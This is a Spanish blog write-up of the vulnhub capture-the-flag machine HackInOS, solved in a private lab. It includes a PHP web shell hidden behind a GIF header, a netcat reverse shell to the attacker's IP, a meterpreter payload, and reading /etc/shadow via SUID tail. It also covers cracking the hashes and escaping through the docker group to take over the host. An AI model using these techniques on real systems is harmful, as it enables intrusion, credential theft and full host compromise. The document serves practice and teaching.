Pruebas CTF 1 – HackInOS nivel 1

Pruebas CTF 1 – HackInOS nivel 1

Buenas.

Voy a empezar una serie de artículos basados en mis pruebas con algunas máquinas virtuales con distintas vulnerabilidades. En ellos pondré los resultados de las experiencias adquiridas resolviendo algunos retos de CTF y otros tipos de entornos vulnerables.

Por comodidad se realizará todo con máquinas virtuales dentro de una red segura y con autorización (nunca realices estas pruebas en entornos en los que no dispongáis el permiso para ello, puede tener consecuencias legales).

La primera de la lista (1º porque es nivel facilito, que estoy bastante oxidado y 2º porque es la primera de la lista que he encontrado) va a ser HackInOS (podéis descargarla de aquí). Aprovecho para recomendaros la página vulnhub.com en la que podréis encontrar un montón de máquinas vulnerables y CTFs para practicar)

El como montar la máquina queda fuera del espectro de este artículo, pero como indica en la descarga de la imagen podéis utilizar VmWare y VirtualBOX. A la hora de realizar este artículo se ha usado KVM con libvirt (VMs nativas de linux) simplemente porque quería probar esta configuración en su momento (y la verdad, tiene poco que envidiar a las otras alternativas mencionadas anteriormente, y encima es open source).

Al montar una máquina virtual, sabemos facilmente como localizar su dirección IP. En mi caso tengo que usar una configuración NAT porque mi tarjeta de red no soporta un bridge como Dios manda, no obstante escanearemos la red para que nos diga los dispositivos conectados y empezaremos desde ahí, eso sería lo que haríamos en un entorno “más real”…

Lo primero de todo, hay que usar “netdiscover” para localizar los dispositivos de la red. Ojo a la opción -r para buscar en un rango, y la opción -i para forzar buscar en la interfaz que nos ha creado libvirt:

# netdiscover -i virbr0 -r 192.168.122.0/24

Currently scanning: Finished! | Screen View: Unique Hosts
1 Captured ARP Req/Rep packets, from 1 hosts. Total size: 60
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.122.21 52:54:00:f4:e3:e6 1 60 Unknown vendor
...

Bueno, parece que hemos encontrado nuestro objetivo. Lo próximo, obviamente, vamos a hacerle un nmap a ver que nos tiene escondido… Si queréis saber lo que significan las opciones, mirar la man, pero básicamente es un escaneado bastante agresivo (que para algo es mi red privada…)

# nmap -A -T5 192.168.122.21

Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-07 15:41 CEST
Nmap scan report for 192.168.122.21
Host is up (0.00096s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:c1:5c:20:9a:77:54:f8:a3:41:18:92:1b:1e:e5:35 (RSA)
| 256 df:d4:f2:61:89:61:ac:e0:ee:3b:5d:07:0d:3f:0c:87 (ECDSA)
|_ 256 8b:e4:45:ab:af:c8:0e:7e:2a:e4:47:e7:52:f9:bc:71 (ED25519)
8000/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-generator: WordPress 5.0.3
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 2 disallowed entries
|_/upload.php /uploads
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Blog – Just another WordPress site
MAC Address: 52:54:00:F4:E3:E6 (QEMU virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.96 ms 192.168.122.21

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.38 seconds

Bien. Como podéis comprobar en negrita tenemos abierto ssh en el 22 y un servidor web apache en el 8000. Si os fijais las opciones que hemos puesto nos dan mucha información, pero como os he dicho es un escaneado agresivo 😉

Vamos a ver que hay en el servidor web. Ponemos en nuestro navegador la dirección IP y el puerto 8000. Nos sale un sitio wordpress descuageringado, que parece una instalación standar…

Ok, si queremos investigar el código fuente, veremos que esta instalado con localhost de hostname, de ahí que se vea descuajeringado. Podemos navegarlo un poquito si lo cambiamos por la IP, y sacar algo de información sobre el blog, por ejemplo podemos ver que el usuario es Handsome_Container. Podemos poner localhost apuntando a la IP de la máquina en el archivo de host y pasar wpscan a localhost:8000 pero comprobaremos que no tenemos a mano ninguna vulnerabilidad aparente que nos ayude…

Vamos a pasar dirb con el diccionario por defecto a ver que información suelta. Realmente, si nos fijamos bien en el nmap anterior, no es necesario, pero así nos introducimos en esta herramienta, la cual probablemente usaremos bastante a menudo. Para documentarnos sobre ella podemos abrirnos la manpage. Vamos a probarlo:

# dirb http://192.168.122.21:8000

-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue May 7 16:35:27 2019
URL_BASE: http://192.168.122.21:8000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.122.21:8000/ ----
+ http://192.168.122.21:8000/index.php (CODE:301|SIZE:0)
+ http://192.168.122.21:8000/robots.txt (CODE:200|SIZE:52)
+ http://192.168.122.21:8000/server-status (CODE:403|SIZE:304)
==> DIRECTORY: http://192.168.122.21:8000/uploads/
==> DIRECTORY: http://192.168.122.21:8000/wp-admin/
==> DIRECTORY: http://192.168.122.21:8000/wp-content/
==> DIRECTORY: http://192.168.122.21:8000/wp-includes/
+ http://192.168.122.21:8000/xmlrpc.php (CODE:405|SIZE:42)
ect ....

Como podíamos ver claramente en el nmap anterior, nos llaman la atención 3 cosas (principalmente). Un robots.txt, una carpeta uploads/ y un archivo php “upload.php”. Si accedemos a ellos desde el navegador, comprobamos que el directorio uploads/ no da un forbiden, el robots.txt prohibe a robots el acesso a ambas localizaciones (otra forma de haber obtenido la información…) y el archivo upload.php nos abre una interfaz sencilla para subir una imagen. Vamos a ver el código fuente:

Si nos fijamos un poco de calma, comprobaremos que nos han dejado una pista abajo… ¿Un poco evidente una vez visto no? Bueno, vamos a ver que encontramos en ese github…Si entramos encontraremos este php que damos por hecho es el usado en la máquina virtual:

https://github.com/fatihhcelik/Vulnerable-Machine—Hint/blob/master/upload.php

Si lo leemos nos daremos cuenta de varios detalles que que lo hacen vulnerable, vamos a verlos:

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$rand_number = rand(1,100);
$target_dir = "uploads/";
$target_file = $target_dir . <strong>md5(basename($_FILES["file"]["name"].$rand_number))</strong>;
$file_name = $target_dir . basename($_FILES["file"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
$type = $_FILES["file"]["type"];
$check = getimagesize($_FILES["file"]["tmp_name"]);
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
$uploadOk = 1;
}else{
$uploadOk = 0;
echo ":)";
}
if($uploadOk == 1){
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
echo "File uploaded /uploads/?";
}
}

Bueno, de aquí arriba sacamos en conclusión que el nombre es un md5 con el nombre del fichero + un número aleatorio del 1 al 100, y que mira si el “mime” es png o gif. Con esto nos sirve para subir una shell y ganar acceso. Vamos a ello. Vamos a empezar con un archivo sencillito. Así nos ponemos con como abrir un interprete de comando básico (se puede hacer mucho más complicado, usar mfvenom y metasploit, pero profundizaremos en eso más adelante :). Este es nuestro archivo imagen.php:

$ cat chofimoco.php
GIF98
<? system($_GET['cmd']); ?>

¿Sencillito no? Pasaremos los comandos por variable. Si funciona abriremos un shell con nc. Vamos a probar a subir el fichero usando la url de antes que nos permitia subir una imagen… Sobre el papel la sube. Eso si, ahora tenemos que averiguar el nombre con el que se ha subido. Sabiendo como genera el nombre podemos usar la fuerza bruta para saberlo. Aunque hay mil maneras, vamos a generar primero un diccionario con todas las posibilidades. Para ello usaremos (por ejemplo) python. Disculpar las tabulaciones cuando lo pase a código las pondré:

#!/usr/bin/python
import hashlib
for i in range(100):
file = "chofimoco.php" + str(i)
hash = hashlib.md5(file.encode())
dir = hash.hexdigest()
f = open("dict.txt", "a+")
f.write(dir+"\r\n")
f.close()
$ ./encodeaurl.py
$ ls | grep .txt
dict.txt
$ cat dict.txt
433bfdb9dd2c8dda7624452d6d3b0df2
......ect

Podríamos volver a usar dirb con este diccionario y también nos encontraría la url, pero vamos a usar otra herramienta, wfuzz:

# wfuzz -w dict.txt --hc 404 http://192.168.122.21:8000/uploads/FUZZ.php

Nos da de resultado que “8a235ac6a03f272188c395c19be3b650” responde, asique ese será el nombre del fichero que hemos subido. Vamos a probarlo:

“http://192.168.122.21:8000/uploads/8a235ac6a03f272188c395c19be3b650.php?cmd=cat%20/etc/passwd”

GIF98 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false7

No esta mal… funciona. Vamos a probar a abrir un shell reverso con nc. En nuestro equipo:

# nc -nlvvp 6969

Y ejecutamos nuestra url con el nc para el shell reverso:

“http://192.168.122.21:8000/uploads/8a235ac6a03f272188c395c19be3b650.php?cmd=nc -n -v 192.168.0.155 6969 -e /bin/sh”

Et voila, en el terminal local en el que ejecutamos nc aparecera la conexión, y por tanto, nuestra shell. Como prueba de concepto para iniciarnos con las shell reversas está bien 🙂

Connection from 192.168.122.21 57308 received!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
6a37e8f47dc02e1dc2a576d0a5694278.php
pwd
/var/www/html/uploads
find / -uid 0 -perm -4000 -type f 2&gt;/dev/null
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/tail
/usr/bin/chfn
/bin/mount
/bin/umount
/bin/su
ls -ll /usr/bin/tail
-rwsr-xr-x 1 root root 68584 Feb 22 2017 /usr/bin/tail

¿Que estamos haciendo con todo esto? Ver quien somos, listar lo que tenemos en nuestro directorio, ver donde estamos, y (aquí viene la chicha) buscar que se ejecuta con uid 0, es decir con privilegios de root y por último comprobar que permisos tiene. ¿Es necesario todo? no. Con ver nuestro id y buscar ejecutables con privilegios de root valdría, lo otro es por curiosidad. Llama la atención que tail se ejecuta con privilegios de administrador, raro, pero nos sirve para por ejemplo hacer un tail al shadow y bajarnos el hash de la contraseña del usuario root:

tail -n 100 /etc/shadow | grep root
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::

Pues mira tu que majo que funciona. Esto en si ya es un pequeño logro, pero vamos a seguir a ver si podemos sacar más cosas en claro. Vamos a pasar el john the ripper en nuestro sistema local con estos datos a ver si tenemos suerte y nos devuelve algo:

# cat hash
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
# john hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Wordlist
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 14 candidates buffered for the current salt, minimum 16
needed for performance.
Warning: Only 10 candidates buffered for the current salt, minimum 16
needed for performance.
Warning: Only 15 candidates buffered for the current salt, minimum 16
needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any
Warning: Only 8 candidates buffered for the current salt, minimum 16
needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
john (root)
1g 0:00:00:01 DONE 2/3 (2019-05-07 18:27) 0.5102g/s 1762p/s 1762c/s 1762C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
# john hash --show
root:john:17951:0:99999:7:::

Al ser una máquina de nivel bajito, está claro que era posible que funcionase. Con el diccionario por defecto nos devuelve la pass: “john“. Podriamos haber creadon un diccionario exprofeso, pero hemos usado el diccionario por defecto situado en /usr/share/john/password.lst :). Bueno La reverse shell por nc se nos ha quedado pequeña. Vamos a crear una un poquito mejor con msfvenom y a usar metasploit y meterpreter para entrar un poquito más hasta la cocina (y para trabajar más cómodos y con menos limitaciones…). Vamos al lío:

# msfvenom -l payloads | grep php/
php/bind_perl Listen for a connection and spawn a command shell via perl (persistent)
php/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent) over IPv6
php/bind_php Listen for a connection and spawn a command shell via php
php/bind_php_ipv6 Listen for a connection and spawn a command shell via php (IPv6)
php/download_exec Download an EXE from an HTTP URL and execute it
php/exec Execute a single system command
php/meterpreter/bind_tcp Run a meterpreter server in PHP. Listen for a connection
php/meterpreter/bind_tcp_ipv6 Run a meterpreter server in PHP. Listen for a connection over IPv6
php/meterpreter/bind_tcp_ipv6_uuid Run a meterpreter server in PHP. Listen for a connection over IPv6 with UUID Support
php/meterpreter/bind_tcp_uuid Run a meterpreter server in PHP. Listen for a connection with UUID Support
php/meterpreter/reverse_tcp Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions
php/meterpreter/reverse_tcp_uuid Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions
php/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter server (PHP)
php/reverse_perl Creates an interactive shell via perl
php/reverse_php

Usaremos php/meterpreter/reverse_tcp:

# msfvenom -p php/meterpreter/reverse_tcp LPORT=4000 LHOST=192.168.0.155 &gt; /root/pruebas-msf/chofimoco.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1114 bytes

Añadimos nuestra cabecera GIF:

# nano chofimoco.php  
...
# cat chofimoco.php
GIF98
/*..........<!--?php /**/ error_reporting(0); $ip = '192.168.0.155'; $port = 4000; ...

Ahora vamos a abrir el handler, subir el archivo nuevo, y ejecutarlo, para abrir un meterpreter y obtener una shell más estable… 🙂

# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) &gt; set LHOST 192.168.0.155
LHOST > 192.168.0.155
msf5 exploit(multi/handler) &gt; set LPORT 4000
LPORT > 4000
msf5 exploit(multi/handler) &gt; set payload php/meterpreter/reverse_tcp
payload > php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) &gt; exploit

[*] Started reverse TCP handler on 192.168.0.155:4000

Bien ya tenemos nuestro handler escuchando. Ahora repetiremos los pasos anteriores; Subimos nuestro, archivo, lo volvemos a buscar (hay que generar un diccionario nuevo con los hashes si no usamos el mismo nombre) navegamos a la url para ejecutar nuestro payload y en nuestra ventana del handler en metasploit veremos:

[*] Sending stage (38247 bytes) to 192.168.122.21
[*] Meterpreter session 1 opened (192.168.0.155:4000 -&gt; 192.168.122.21:47540) at 2019-05-08 01:14:46 +0200
meterpreter >

Bien! Vamos a poner un shell en cristiano porque este no nos va a permitir hacer su. Lo que vereis abajo se puede hacer en una sola orden y requiere python instalado, pero así es más explicativo y funciona a las mil maravillas si el su nos da ese error con su:

meterpreter > shell
Process 117 created.
Channel 0 created.
su
su: must be run from a terminal
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
www-data@1afdd1f6b82c:/var/www/html/uploads$

Ahora si, podemos ejecutar su con la contraseña “john” que ya conocemos 🙂

www-data@1afdd1f6b82c:/var/www/html/uploads$ su
Password: ****
root@1afdd1f6b82c:/var/www/html/uploads# 
root@1afdd1f6b82c:/var/www/html/uploads# cd /root
root@1afdd1f6b82c:~# ls -altr
total 40
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 169 Feb 9 02:43 .wget-hsts
drwxr-xr-x 1 root root 4096 Feb 23 15:12 ..
drwxr-xr-x 2 root root 4096 Feb 24 18:49 .nano
-rw-rw-rw- 1 root root 28 Feb 28 18:47 .port
-rw-r--r-- 1 root root 27 Feb 28 22:26 flag
-rw------- 1 root root 88 May 7 21:31 .mysql_history
drwx------ 1 root root 4096 May 7 21:31 .
-rw------- 1 root root 454 May 7 22:30 .bash_history
root@1afdd1f6b82c:~# cat flag
Life consists of details..
root@1afdd1f6b82c:~# cat .port
Listen to your friends..
7*

Wowowowowo, ¿que es todo esto? Por un lado en el directorio /root tenemos una bandera que nos habla de detalles y una pista de que escuchemos a nuestros amigos… Parece que tendremos que investigar un poco más. Ahora que tenemos un shell decente y somos root, vamos a investigar un poquito…

root@1afdd1f6b82c:~# ifconfig
eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.0.3 netmask 255.255.0.0 broadcast 172.18.255.255
...

Esa IP me suena y me descuadra. Así por intuición…

root@1afdd1f6b82c:~# ping 172.18.0.2
ping 172.18.0.2
PING 172.18.0.2 (172.18.0.2) 56(84) bytes of data.
64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.067 ms
64 bytes from 172.18.0.2: icmp_seq=2 ttl=64 time=0.154 ms

Teniendo en cuenta que tenemos un wordpress y esto huele a docker, vamos a revisar el archivo de configuración de wordpress. No es dificil encontrarlo, está en /var/www/html:

root@1afdd1f6b82c:/var/www/html# cat /var/www/html/wp-config.php | grep DB_
cat /var/www/html/wp-config.php | grep DB_
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'wordpress');
define('DB_HOST', 'db:3306');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

Vamos a por esa base de datos =)

root@1afdd1f6b82c:/var/www/html# mysql -u wordpress -p wordpress -h db

Enter password: wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.7.25 MySQL Community Server (GPL)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [wordpress]> SHOW TABLES;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| host_ssh_cred |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
13 rows in set (0.00 sec)

Esa tabla “host_ssh_cred” es bastante sospechosa. A ver que tiene dentro…

MySQL [wordpress]&gt; SELECT * from host_ssh_cred;
+-------------------+----------------------------------+
| id | pw |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.00 sec)

Eso huele a solomillo. Vamos a decirle a Juan que pase el cuchillo en local tras volcar al archivo hashfrombd lo que nos hemos encontrado en la base de datos:

# john --format=RAW-md5 hashfrombd
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Proceeding with single, rules:Wordlist
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
123456 (?)
1g 0:00:00:00 DONE 2/3 (2019-05-08 01:53) 2.380g/s 457.1p/s 457.1c/s 457.1C/s 123456..knight
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

Yuju! Parece que tenemos una contraseña para el usuario hummingbirdscyber, y dado quela tabla nos dice que es un credencial ssh, y teniendo en cuenta que en el escaneado inicial con nmap nos dijo que teniamos ssh abierto… vamos a continuar por ahi, y así vemos que nos encontramos. Vamos a hacer ssh a la máquina:

# ssh hummingbirdscyber@192.168.122.21

hummingbirdscyber@192.168.122.21's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-47-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
....
Last login: Wed May 8 01:03:07 2019 from 192.168.122.1
hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)

Como vemos, pertenecemos al grupo docker… Vamos a tirar del hilo:

hummingbirdscyber@vulnvm:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
wordpress latest 69e1f4ea543a 2 months ago 420MB
mysql 5.7 e47e309f72c8 3 months ago 372MB
ubuntu latest 47b19964fb50 3 months ago 88.1MB

Tenemos una imagen ubuntu. Esto puede llegar a ser como tener un pendrive, un teclado, y acceso físico al servidor, es decir, sería nuestro. Vamos a intentar montar / en ese docker y si todo va correcto, podremos navegar como administrador por todo el directorio del sistema host, con todo lo que ello implica.

hummingbirdscyber@vulnvm:~$ docker run -v /:/sisthost -i -t ubuntu /bin/bash
root@4fa3af817a00:/# ls /sisthost
bin cdrom etc initrd.img lib lost+found mnt proc run snap sys usr vmlinuz
boot dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.old
root@4fa3af817a00:/# ls /sisthost/root
flag
root@4fa3af817a00:/# cat /sisthost/root/flag
Congratulations!

-ys-
/mms.
+NMd+`
`/so/hMMNy-
`+mMMMMMMd/ ./oso/-
`/yNMMMMMMMMNo` .` +-
.oyhMMMMMMMMMMN/. o.
`:+osysyhddhs` `o`
.:oyyhshMMMh. .:
`-//:. `:sshdh: `
-so:.
.yy.
:odh
+o--d`
/+. .d`
-/` `y`
`:` `/
`. `

Weno, parece que ya tenemos la bandera final y hemos superado el reto. Vamos a ir un pequeño paso más alla, y vamos a apropiarnos del root ya del todo, para poder modificar la máquina a nuestro antojo. Me ha gustado el reto y probablemente lo modifique, lo traduzca y lo ponga a disposición de la gente por aquí para que practique y se divierta. Desde el mismo docker, si es una ubuntu, debería funcionar chroot 🙂

root@4fa3af817a00:/# ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin sisthost srv sys tmp usr var
root@4fa3af817a00:/# chroot /sisthost
# /bin/bash
root@4fa3af817a00:/# ls
bin cdrom etc initrd.img lib lost+found mnt proc run snap sys usr vmlinuz
boot dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.old
root@4fa3af817a00:/# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@4fa3af817a00:/# exit

Aunque no os lo creais, acabamos de cambiar la contraseña en el host del docker. Ya podemos inciar sesion como hummingbirdscyer, hacer su, y desde ahí lo que nos de la gana.

root@4fa3af817a00:/# exit
exit
# exit
root@4fa3af817a00:/# exit
exit
hummingbirdscyber@vulnvm:~$ su
Password:
root@vulnvm:/home/hummingbirdscyber# shutdown-h now

La verdad es que me lo he pasado bastante bien resolviendo este reto. Espero que encontreis algo de utilidad en el artículo (por poco que sea 🙂

Un saludo!

Brian O´Sullivan
brianltobil@gmail.com